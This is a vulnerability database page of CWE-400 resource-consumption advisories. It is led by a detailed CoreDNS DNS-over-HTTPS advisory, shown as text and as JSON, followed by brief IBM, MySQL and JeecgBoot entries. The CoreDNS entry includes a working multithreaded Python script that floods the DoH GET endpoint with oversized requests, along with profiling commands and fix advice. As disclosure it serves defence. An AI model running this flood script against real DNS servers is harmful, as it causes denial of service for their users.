Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5565 vulnerabilities reference this CWE, most recent first.

GHSA-63CW-R7XF-JMWR

Vulnerability from github – Published: 2026-04-28 22:43 – Updated: 2026-06-12 19:25
VLAI
Summary
CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification
Details

Summary

CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.

This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.

Details

The vulnerable flow is in plugin/pkg/doh/doh.go:

  • RequestToMsg() dispatches GET requests to requestToMsgGet():
  • plugin/pkg/doh/doh.go:79-89
  • requestToMsgGet() calls req.URL.Query(), extracts dns, and passes it directly to base64ToMsg():
  • plugin/pkg/doh/doh.go:99-108
  • base64ToMsg() decodes the full attacker-controlled value via b64Enc.DecodeString() and only then attempts to unpack it into a DNS message:
  • plugin/pkg/doh/doh.go:121-130

Relevant snippet:

func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
    values := req.URL.Query()
    b64, ok := values["dns"]
    if !ok {
        return nil, fmt.Errorf("no 'dns' query parameter found")
    }
    if len(b64) != 1 {
        return nil, fmt.Errorf("multiple 'dns' query values found")
    }
    return base64ToMsg(b64[0])
}

func base64ToMsg(b64 string) (*dns.Msg, error) {
    buf, err := b64Enc.DecodeString(b64)
    if err != nil {
        return nil, err
    }

    m := new(dns.Msg)
    err = m.Unpack(buf)

    return m, err
}
````

By contrast, the POST path applies a bounded read before unpacking:

```go
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
    buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
    if err != nil {
        return nil, err
    }
    m := new(dns.Msg)
    err = m.Unpack(buf)
    return m, err
}

So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.

In addition, the HTTPS server is created in core/dnsserver/server_https.go:87-92 without an explicit early GET-path size guard in this path:

srv := &http.Server{
    ReadTimeout:  s.ReadTimeout,
    WriteTimeout: s.WriteTimeout,
    IdleTimeout:  s.IdleTimeout,
    ErrorLog:     stdlog.New(&loggerAdapter{}, "", 0),
}

As a result, oversized DoH GET request targets are processed through:

  1. HTTP request-line parsing
  2. URL query parsing / unescaping
  3. DoH GET extraction
  4. base64 decoding
  5. DNS message unpacking

before the request is rejected.

Root cause

The root cause is missing early size validation on the DoH GET path.

More specifically:

  • requestToMsgGet() performs req.URL.Query() on attacker-controlled oversized request targets.
  • The extracted dns value is passed to base64ToMsg() without an encoded-length or decoded-length bound.
  • base64ToMsg() fully decodes the attacker-controlled string before any DNS-size rejection.
  • The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.

This creates a pre-validation resource-amplification path for DoH GET.

PoC

Local test setup

I reproduced this locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.

Create a self-signed certificate:

openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
  -keyout key.pem -out cert.pem \
  -subj "/CN=127.0.0.1"

Create this Corefile:

https://127.0.0.1:8443 {
    whoami
    log
    errors
    tls cert.pem key.pem
    pprof 127.0.0.1:6060
}

Run CoreDNS:

./coredns -conf Corefile

Proof-of-concept script

#!/usr/bin/env python3
import argparse
import base64
import collections
import concurrent.futures
import http.client
import ssl
import time

def send_one(host, port, path, timeout):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    try:
        conn.request("GET", path, headers={
            "Accept": "application/dns-message",
            "Connection": "close",
        })
        resp = conn.getresponse()
        resp.read()
        return resp.status
    except Exception as e:
        return f"ERR:{type(e).__name__}"
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=8443)
    ap.add_argument("--decoded-kib", type=int, default=720)
    ap.add_argument("--workers", type=int, default=64)
    ap.add_argument("--requests", type=int, default=5000)
    ap.add_argument("--timeout", type=float, default=5.0)
    args = ap.parse_args()

    raw = b"A" * (args.decoded_kib * 1024)
    b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
    path = "/dns-query?dns=" + b64

    print(f"[+] target = https://{args.host}:{args.port}")
    print(f"[+] decoded bytes = {len(raw):,}")
    print(f"[+] encoded chars = {len(b64):,}")
    print(f"[+] request-target length = {len(path):,}")
    print(f"[+] workers = {args.workers}, requests = {args.requests}")
    print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")

    started = time.time()
    results = collections.Counter()

    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
        futs = [
            ex.submit(send_one, args.host, args.port, path, args.timeout)
            for _ in range(args.requests)
        ]
        for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
            results[fut.result()] += 1
            if i % 10 == 0 or i == args.requests:
                print(f"[{i}/{args.requests}] {dict(results)}")

    elapsed = time.time() - started
    print("\n[+] done")
    print(f"[+] elapsed = {elapsed:.2f}s")
    print(f"[+] summary = {dict(results)}")

if __name__ == "__main__":
    main()

Run the PoC:

python3 poc_doh_get_oversize_https.py \
  --host 127.0.0.1 \
  --port 8443 \
  --decoded-kib 720 \
  --workers 64 \
  --requests 5000

Profiling commands used during reproduction

CPU profile:

(curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \
sleep 1 ; \
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \
wait

go tool pprof -top ./coredns cpu_attack.pb.gz

Heap / allocation profiles:

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz

python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz

go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz
go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz

Reproduction results

I confirmed the issue on:

  • CoreDNS 1.14.2
  • linux/amd64
  • go1.26.1

PoC payload characteristics:

  • decoded payload size: 737,280 bytes
  • base64url-encoded dns length: 983,040
  • request-target length: 983,055

Observed request outcome:

  • 5000 / 5000 requests returned 400 Bad Request
  • total runtime for the 5000-request run: 18.22s

The important point is that the requests are rejected only after expensive processing has already happened.

CPU profile highlights

The CPU profile captured during the attack showed significant time in:

  • net/http.readRequest
  • net/url.ParseQuery / net/url.QueryUnescape / net/url.unescape
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg
  • encoding/base64.(*Encoding).DecodeString
  • Go GC worker paths

Representative cumulative values from the captured profile included:

  • github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP → 10.91s
  • github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 10.88s
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 10.88s
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 3.50s
  • encoding/base64.(*Encoding).DecodeString → 3.46s
  • net/http.readRequest → 10.57s
  • net/url.(*URL).Query / ParseQuery / QueryUnescape → 7.38s
  • runtime.gcBgMarkWorker and related GC paths were also heavily active

This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.

Allocation profile highlights

Allocation profiling showed very large transient allocation volume caused by the rejected requests:

  • total alloc_space: 26,756.48 MB

Top contributors included:

  • net/textproto.(*Reader).readLineSlice → 19,668.19 MB
  • net/textproto.(*Reader).ReadLine → 3,738.84 MB
  • encoding/base64.(*Encoding).DecodeString → 2,766.16 MB

Within the CoreDNS DoH GET path specifically:

  • github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 2,775.67 MB
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 2,775.67 MB
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 2,773.67 MB

Heap delta (inuse_space) also showed live growth attributable to this path, including:

  • encoding/base64.(*Encoding).DecodeString → 7,629.75 kB

Memory observations

Runtime memory monitoring showed a clear increase in peak resident usage during the attack:

  • baseline VmHWM / VmRSS before load was approximately 55,864 kB
  • observed VmHWM during testing reached approximately 146,100 kB

So even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.

Impact

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.

Impact includes:

  • elevated CPU consumption
  • large transient allocations
  • increased garbage-collection pressure
  • higher peak resident memory usage
  • degraded throughput and responsiveness
  • denial of service risk on memory-constrained or heavily loaded deployments

This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.

The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.

Suggested remediation

A robust fix should address both stages of the problem:

  1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.
  2. Enforce an encoded-length and decoded-length limit for the dns parameter before calling DecodeString().
  3. Preserve equivalent size constraints across GET and POST paths.

A minimal hardening direction would be:

  • reject oversized GET requests before req.URL.Query() on the DoH path
  • reject dns values whose encoded length exceeds the maximum valid DNS message encoding
  • reject any decoded payload larger than the supported DNS message size before unpacking

Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coredns/coredns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-28T22:43:47Z",
    "nvd_published_at": "2026-05-05T20:16:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCoreDNS\u0027s DNS-over-HTTPS (DoH) GET path accepts oversized `dns=` query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning `400 Bad Request`.\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to `/dns-query?dns=...` and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.\n\nThis is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.\n\n### Details\n\nThe vulnerable flow is in `plugin/pkg/doh/doh.go`:\n\n- `RequestToMsg()` dispatches GET requests to `requestToMsgGet()`:\n  - `plugin/pkg/doh/doh.go:79-89`\n- `requestToMsgGet()` calls `req.URL.Query()`, extracts `dns`, and passes it directly to `base64ToMsg()`:\n  - `plugin/pkg/doh/doh.go:99-108`\n- `base64ToMsg()` decodes the full attacker-controlled value via `b64Enc.DecodeString()` and only then attempts to unpack it into a DNS message:\n  - `plugin/pkg/doh/doh.go:121-130`\n\nRelevant snippet:\n\n```go\nfunc requestToMsgGet(req *http.Request) (*dns.Msg, error) {\n    values := req.URL.Query()\n    b64, ok := values[\"dns\"]\n    if !ok {\n        return nil, fmt.Errorf(\"no \u0027dns\u0027 query parameter found\")\n    }\n    if len(b64) != 1 {\n        return nil, fmt.Errorf(\"multiple \u0027dns\u0027 query values found\")\n    }\n    return base64ToMsg(b64[0])\n}\n\nfunc base64ToMsg(b64 string) (*dns.Msg, error) {\n    buf, err := b64Enc.DecodeString(b64)\n    if err != nil {\n        return nil, err\n    }\n\n    m := new(dns.Msg)\n    err = m.Unpack(buf)\n\n    return m, err\n}\n````\n\nBy contrast, the POST path applies a bounded read before unpacking:\n\n```go\nfunc toMsg(r io.ReadCloser) (*dns.Msg, error) {\n    buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))\n    if err != nil {\n        return nil, err\n    }\n    m := new(dns.Msg)\n    err = m.Unpack(buf)\n    return m, err\n}\n```\n\nSo, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.\n\nIn addition, the HTTPS server is created in `core/dnsserver/server_https.go:87-92` without an explicit early GET-path size guard in this path:\n\n```go\nsrv := \u0026http.Server{\n    ReadTimeout:  s.ReadTimeout,\n    WriteTimeout: s.WriteTimeout,\n    IdleTimeout:  s.IdleTimeout,\n    ErrorLog:     stdlog.New(\u0026loggerAdapter{}, \"\", 0),\n}\n```\n\nAs a result, oversized DoH GET request targets are processed through:\n\n1. HTTP request-line parsing\n2. URL query parsing / unescaping\n3. DoH GET extraction\n4. base64 decoding\n5. DNS message unpacking\n\nbefore the request is rejected.\n\n### Root cause\n\nThe root cause is missing early size validation on the DoH GET path.\n\nMore specifically:\n\n* `requestToMsgGet()` performs `req.URL.Query()` on attacker-controlled oversized request targets.\n* The extracted `dns` value is passed to `base64ToMsg()` without an encoded-length or decoded-length bound.\n* `base64ToMsg()` fully decodes the attacker-controlled string before any DNS-size rejection.\n* The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.\n\nThis creates a pre-validation resource-amplification path for DoH GET.\n\n### PoC\n\n#### Local test setup\n\nI reproduced this locally against CoreDNS 1.14.2 over HTTPS with `pprof` enabled.\n\nCreate a self-signed certificate:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \\\n  -keyout key.pem -out cert.pem \\\n  -subj \"/CN=127.0.0.1\"\n```\n\nCreate this `Corefile`:\n\n```txt\nhttps://127.0.0.1:8443 {\n    whoami\n    log\n    errors\n    tls cert.pem key.pem\n    pprof 127.0.0.1:6060\n}\n```\n\nRun CoreDNS:\n\n```bash\n./coredns -conf Corefile\n```\n\n#### Proof-of-concept script\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport base64\nimport collections\nimport concurrent.futures\nimport http.client\nimport ssl\nimport time\n\ndef send_one(host, port, path, timeout):\n    ctx = ssl._create_unverified_context()\n    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)\n    try:\n        conn.request(\"GET\", path, headers={\n            \"Accept\": \"application/dns-message\",\n            \"Connection\": \"close\",\n        })\n        resp = conn.getresponse()\n        resp.read()\n        return resp.status\n    except Exception as e:\n        return f\"ERR:{type(e).__name__}\"\n    finally:\n        try:\n            conn.close()\n        except Exception:\n            pass\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--host\", default=\"127.0.0.1\")\n    ap.add_argument(\"--port\", type=int, default=8443)\n    ap.add_argument(\"--decoded-kib\", type=int, default=720)\n    ap.add_argument(\"--workers\", type=int, default=64)\n    ap.add_argument(\"--requests\", type=int, default=5000)\n    ap.add_argument(\"--timeout\", type=float, default=5.0)\n    args = ap.parse_args()\n\n    raw = b\"A\" * (args.decoded_kib * 1024)\n    b64 = base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode()\n    path = \"/dns-query?dns=\" + b64\n\n    print(f\"[+] target = https://{args.host}:{args.port}\")\n    print(f\"[+] decoded bytes = {len(raw):,}\")\n    print(f\"[+] encoded chars = {len(b64):,}\")\n    print(f\"[+] request-target length = {len(path):,}\")\n    print(f\"[+] workers = {args.workers}, requests = {args.requests}\")\n    print(\"[+] 400 responses are expected; the issue is expensive processing before rejection.\\n\")\n\n    started = time.time()\n    results = collections.Counter()\n\n    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:\n        futs = [\n            ex.submit(send_one, args.host, args.port, path, args.timeout)\n            for _ in range(args.requests)\n        ]\n        for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):\n            results[fut.result()] += 1\n            if i % 10 == 0 or i == args.requests:\n                print(f\"[{i}/{args.requests}] {dict(results)}\")\n\n    elapsed = time.time() - started\n    print(\"\\n[+] done\")\n    print(f\"[+] elapsed = {elapsed:.2f}s\")\n    print(f\"[+] summary = {dict(results)}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun the PoC:\n\n```bash\npython3 poc_doh_get_oversize_https.py \\\n  --host 127.0.0.1 \\\n  --port 8443 \\\n  --decoded-kib 720 \\\n  --workers 64 \\\n  --requests 5000\n```\n\n#### Profiling commands used during reproduction\n\nCPU profile:\n\n```bash\n(curl -s \"http://127.0.0.1:6060/debug/pprof/profile?seconds=20\" -o cpu_attack.pb.gz \u0026) ; \\\nsleep 1 ; \\\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \\\nwait\n\ngo tool pprof -top ./coredns cpu_attack.pb.gz\n```\n\nHeap / allocation profiles:\n\n```bash\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz\n\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000\n\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz\n\ngo tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz\ngo tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz\n```\n\n### Reproduction results\n\nI confirmed the issue on:\n\n* CoreDNS 1.14.2\n* linux/amd64\n* go1.26.1\n\nPoC payload characteristics:\n\n* decoded payload size: `737,280 bytes`\n* base64url-encoded `dns` length: `983,040`\n* request-target length: `983,055`\n\nObserved request outcome:\n\n* `5000 / 5000` requests returned `400 Bad Request`\n* total runtime for the 5000-request run: `18.22s`\n\nThe important point is that the requests are rejected only after expensive processing has already happened.\n\n#### CPU profile highlights\n\nThe CPU profile captured during the attack showed significant time in:\n\n* `net/http.readRequest`\n* `net/url.ParseQuery` / `net/url.QueryUnescape` / `net/url.unescape`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg`\n* `encoding/base64.(*Encoding).DecodeString`\n* Go GC worker paths\n\nRepresentative cumulative values from the captured profile included:\n\n* `github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP` \u2192 `10.91s`\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `3.50s`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `3.46s`\n* `net/http.readRequest` \u2192 `10.57s`\n* `net/url.(*URL).Query` / `ParseQuery` / `QueryUnescape` \u2192 `7.38s`\n* `runtime.gcBgMarkWorker` and related GC paths were also heavily active\n\nThis demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.\n\n#### Allocation profile highlights\n\nAllocation profiling showed very large transient allocation volume caused by the rejected requests:\n\n* total `alloc_space`: `26,756.48 MB`\n\nTop contributors included:\n\n* `net/textproto.(*Reader).readLineSlice` \u2192 `19,668.19 MB`\n* `net/textproto.(*Reader).ReadLine` \u2192 `3,738.84 MB`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `2,766.16 MB`\n\nWithin the CoreDNS DoH GET path specifically:\n\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `2,773.67 MB`\n\nHeap delta (`inuse_space`) also showed live growth attributable to this path, including:\n\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `7,629.75 kB`\n\n#### Memory observations\n\nRuntime memory monitoring showed a clear increase in peak resident usage during the attack:\n\n* baseline `VmHWM / VmRSS` before load was approximately `55,864 kB`\n* observed `VmHWM` during testing reached approximately `146,100 kB`\n\nSo even though requests returned `400`, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.\n\n### Impact\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.\n\nImpact includes:\n\n* elevated CPU consumption\n* large transient allocations\n* increased garbage-collection pressure\n* higher peak resident memory usage\n* degraded throughput and responsiveness\n* denial of service risk on memory-constrained or heavily loaded deployments\n\nThis is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.\n\nThe fact that the final HTTP status is `400 Bad Request` does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.\n\n### Suggested remediation\n\nA robust fix should address both stages of the problem:\n\n1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.\n2. Enforce an encoded-length and decoded-length limit for the `dns` parameter before calling `DecodeString()`.\n3. Preserve equivalent size constraints across GET and POST paths.\n\nA minimal hardening direction would be:\n\n* reject oversized GET requests before `req.URL.Query()` on the DoH path\n* reject `dns` values whose encoded length exceeds the maximum valid DNS message encoding\n* reject any decoded payload larger than the supported DNS message size before unpacking\n\n---\n\n**Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).**",
  "id": "GHSA-63cw-r7xf-jmwr",
  "modified": "2026-06-12T19:25:56Z",
  "published": "2026-04-28T22:43:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coredns/coredns"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification"
}

GHSA-63H3-P626-M48H

Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32
VLAI
Details

IBM Spectrum Protect 7.1 and 8.1 dsmc and dsmcad processes incorrectly accumulate TCP/IP sockets in a CLOSE_WAIT state. This can cause TCP/IP resource leakage and may result in a denial of service. IBM X-Force ID: 148871.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-1786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-12T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "IBM Spectrum Protect 7.1 and 8.1 dsmc and dsmcad processes incorrectly accumulate TCP/IP sockets in a CLOSE_WAIT state. This can cause TCP/IP resource leakage and may result in a denial of service. IBM X-Force ID: 148871.",
  "id": "GHSA-63h3-p626-m48h",
  "modified": "2022-05-13T01:32:40Z",
  "published": "2022-05-13T01:32:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1786"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/148871"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=ibm10738765"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105940"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-63P9-G7FV-6CVR

Vulnerability from github – Published: 2024-04-17 00:30 – Updated: 2024-04-26 09:30
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.34 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-21050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-16T22:15:22Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML).  Supported versions that are affected are 8.0.34 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-63p9-g7fv-6cvr",
  "modified": "2024-04-26T09:30:34Z",
  "published": "2024-04-17T00:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21050"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240426-0012"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-63PW-WWH5-PGR6

Vulnerability from github – Published: 2025-05-11 09:30 – Updated: 2025-05-11 09:30
VLAI
Details

A vulnerability classified as problematic was found in JeecgBoot up to 3.8.0. This vulnerability affects the function unzipFile of the file /jeecg-boot/airag/knowledge/doc/import/zip of the component Document Library Upload. The manipulation of the argument File leads to resource consumption. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-4533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-11T07:15:15Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as problematic was found in JeecgBoot up to 3.8.0. This vulnerability affects the function unzipFile of the file /jeecg-boot/airag/knowledge/doc/import/zip of the component Document Library Upload. The manipulation of the argument File leads to resource consumption. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-63pw-wwh5-pgr6",
  "modified": "2025-05-11T09:30:23Z",
  "published": "2025-05-11T09:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/8199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/8199#issue-3022937633"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/8199#issuecomment-2834691016"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.308278"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.308278"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.566192"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-63V9-8F2V-3MQW

Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2023-02-01 21:30
VLAI
Details

